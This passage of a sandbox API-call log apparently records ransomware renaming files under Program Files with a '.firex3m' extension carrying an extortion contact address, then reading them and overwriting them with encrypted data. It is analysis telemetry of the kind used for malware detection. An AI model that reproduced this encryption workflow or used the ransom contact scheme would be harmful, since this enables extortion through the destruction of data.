Files\\UNP\\CampaignManager\\CampaignCatalog.json" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigncatalog.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0236.089] CloseHandle (hObject=0x430) returned 1 [0236.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.089] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigncatalog.json"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigncatalog.json.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x865d24d3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xce2469cc, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x26, dwReserved0=0x0, dwReserved1=0x0, cFileName="CampaignCatalog.json.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CAMPAI~1.FIR")) returned 0x6d5280 [0236.090] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0236.090] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigncatalog.json.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0236.090] GetProcessHeap () returned 0x630000 [0236.090] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x41) returned 0x64a3b8 [0236.090] GetProcessHeap () returned 0x630000 [0236.090] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x41) returned 0x649f58 [0236.090] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.090] ReadFile (in: hFile=0x430, lpBuffer=0x64a3b8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x64a3b8*, lpNumberOfBytesRead=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.091] GetProcessHeap () returned 0x630000 [0236.091] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0236.091] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.091] WriteFile (in: hFile=0x430, lpBuffer=0x649f58*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x649f58*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.092] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.092] WriteFile (in: hFile=0x430, lpBuffer=0x649f77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x649f77*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.092] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.092] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.092] CloseHandle (hObject=0x430) returned 1 [0236.092] GetProcessHeap () returned 0x630000 [0236.092] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x649f58 | out: hHeap=0x630000) returned 1 [0236.092] GetProcessHeap () returned 0x630000 [0236.092] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64a3b8 | out: hHeap=0x630000) returned 1 [0236.092] GetProcessHeap () returned 0x630000 [0236.092] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0236.092] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.092] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x865d24d3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52ac9703, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x393fd20, dwReserved1=0x64a3b8, cFileName="CampaignCatalog.json.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CAMPAI~1.FIR")) returned 0x6d51c0 [0236.092] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.092] Sleep (dwMilliseconds=0x1) [0236.155] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\rempl\\remsh.exe", len=0x20 | out: pbstr=0x393ff7c*="C:\\Program Files\\rempl\\remsh.exe") returned 1 [0236.155] GetProcessHeap () returned 0x630000 [0236.155] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f48) returned 0x6fe3bb0 [0236.155] CreateFileW (lpFileName="C:\\Program Files\\rempl\\remsh.exe" (normalized: "c:\\program files\\rempl\\remsh.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0236.211] CloseHandle (hObject=0x6a4) returned 1 [0236.211] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.211] MoveFileW (lpExistingFileName="C:\\Program Files\\rempl\\remsh.exe" (normalized: "c:\\program files\\rempl\\remsh.exe"), lpNewFileName="C:\\Program Files\\rempl\\remsh.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\remsh.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.226] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.226] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\remsh.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58a4a100, ftCreationTime.dwHighDateTime=0x1d3176b, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x58a4a100, ftLastWriteTime.dwHighDateTime=0x1d3176b, nFileSizeHigh=0x0, nFileSizeLow=0x65008, dwReserved0=0x0, dwReserved1=0x0, cFileName="remsh.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REMSHE~1.FIR")) returned 0x6d51c0 [0236.226] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.226] CreateFileW (lpFileName="C:\\Program Files\\rempl\\remsh.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\remsh.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0236.226] GetProcessHeap () returned 0x630000 [0236.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0236.227] GetProcessHeap () returned 0x630000 [0236.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0236.227] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.227] ReadFile (in: hFile=0x6a4, lpBuffer=0x72d3518, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.848] GetProcessHeap () returned 0x630000 [0243.848] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745c530 [0243.848] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.848] WriteFile (in: hFile=0x6a4, lpBuffer=0x72de948*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.849] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.849] WriteFile (in: hFile=0x6a4, lpBuffer=0x72e9d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d47*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0245.214] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.215] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0245.215] CloseHandle (hObject=0x6a4) returned 1 [0245.215] GetProcessHeap () returned 0x630000 [0245.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0245.216] GetProcessHeap () returned 0x630000 [0245.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0245.216] GetProcessHeap () returned 0x630000 [0245.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c530 | out: hHeap=0x630000) returned 1 [0245.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\remsh.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58a4a100, ftCreationTime.dwHighDateTime=0x1d3176b, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x581c9a64, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6502c, dwReserved0=0xcbc7496, dwReserved1=0x72d3510, cFileName="remsh.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REMSHE~1.FIR")) returned 0x6d5540 [0245.216] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0245.216] Sleep (dwMilliseconds=0x1) [0247.292] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", len=0x6a | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX") returned 1 [0247.292] GetProcessHeap () returned 0x630000 [0247.292] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e18) returned 0x6fe3bb0 [0249.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0249.019] CloseHandle (hObject=0x410) returned 1 [0249.019] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\esen\\wt61es.lex.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="WT61ES.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WT61ES~1.FIR")) returned 0x6d4f40 [0249.148] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0249.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\esen\\wt61es.lex.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0249.149] GetProcessHeap () returned 0x630000 [0249.149] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74fe140 [0249.150] GetProcessHeap () returned 0x630000 [0249.150] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7509570 [0249.151] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.151] ReadFile (in: hFile=0x430, lpBuffer=0x74fe140, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74fe140*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0254.763] GetProcessHeap () returned 0x630000 [0254.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0254.764] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.764] WriteFile (in: hFile=0x430, lpBuffer=0x7509570*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7509570*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0254.764] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.764] WriteFile (in: hFile=0x430, lpBuffer=0x751496f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x751496f*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.796] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.796] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.796] CloseHandle (hObject=0x430) returned 1 [0254.796] GetProcessHeap () returned 0x630000 [0254.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7509570 | out: hHeap=0x630000) returned 1 [0254.796] GetProcessHeap () returned 0x630000 [0254.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74fe140 | out: hHeap=0x630000) returned 1 [0254.796] GetProcessHeap () returned 0x630000 [0254.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0254.796] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5dd1c7d6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa5c24, dwReserved0=0xcbc7496, dwReserved1=0x74fe138, cFileName="WT61ES.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WT61ES~1.FIR")) returned 0x6d51c0 [0254.797] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.797] Sleep (dwMilliseconds=0x1) [0254.942] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\THMBNAIL.PNG", len=0x6d | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\THMBNAIL.PNG") returned 1 [0254.942] GetProcessHeap () returned 0x630000 [0254.942] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d68) returned 0x6fe3bb0 [0254.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0254.951] CloseHandle (hObject=0x430) returned 1 [0254.951] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.071] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x63005b, dwReserved1=0x6e006f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5380 [0255.071] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0255.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0255.071] GetProcessHeap () returned 0x630000 [0255.071] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5501) returned 0x73bd838 [0255.072] GetProcessHeap () returned 0x630000 [0255.072] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5501) returned 0x75628b0 [0255.073] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.073] ReadFile (in: hFile=0x430, lpBuffer=0x73bd838, nNumberOfBytesToRead=0x54e0, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73bd838*, lpNumberOfBytesRead=0x393ff0c*=0x54e0, lpOverlapped=0x0) returned 1 [0256.234] GetProcessHeap () returned 0x630000 [0256.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0256.235] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.235] WriteFile (in: hFile=0x430, lpBuffer=0x75628b0*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x75628b0*, lpNumberOfBytesWritten=0x393ff0c*=0x54e0, lpOverlapped=0x0) returned 1 [0256.235] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.235] WriteFile (in: hFile=0x430, lpBuffer=0x7567d8f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7567d8f*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.149] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.149] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.150] CloseHandle (hObject=0x430) returned 1 [0257.150] GetProcessHeap () returned 0x630000 [0257.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x75628b0 | out: hHeap=0x630000) returned 1 [0257.151] GetProcessHeap () returned 0x630000 [0257.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73bd838 | out: hHeap=0x630000) returned 1 [0257.152] GetProcessHeap () returned 0x630000 [0257.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0257.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: 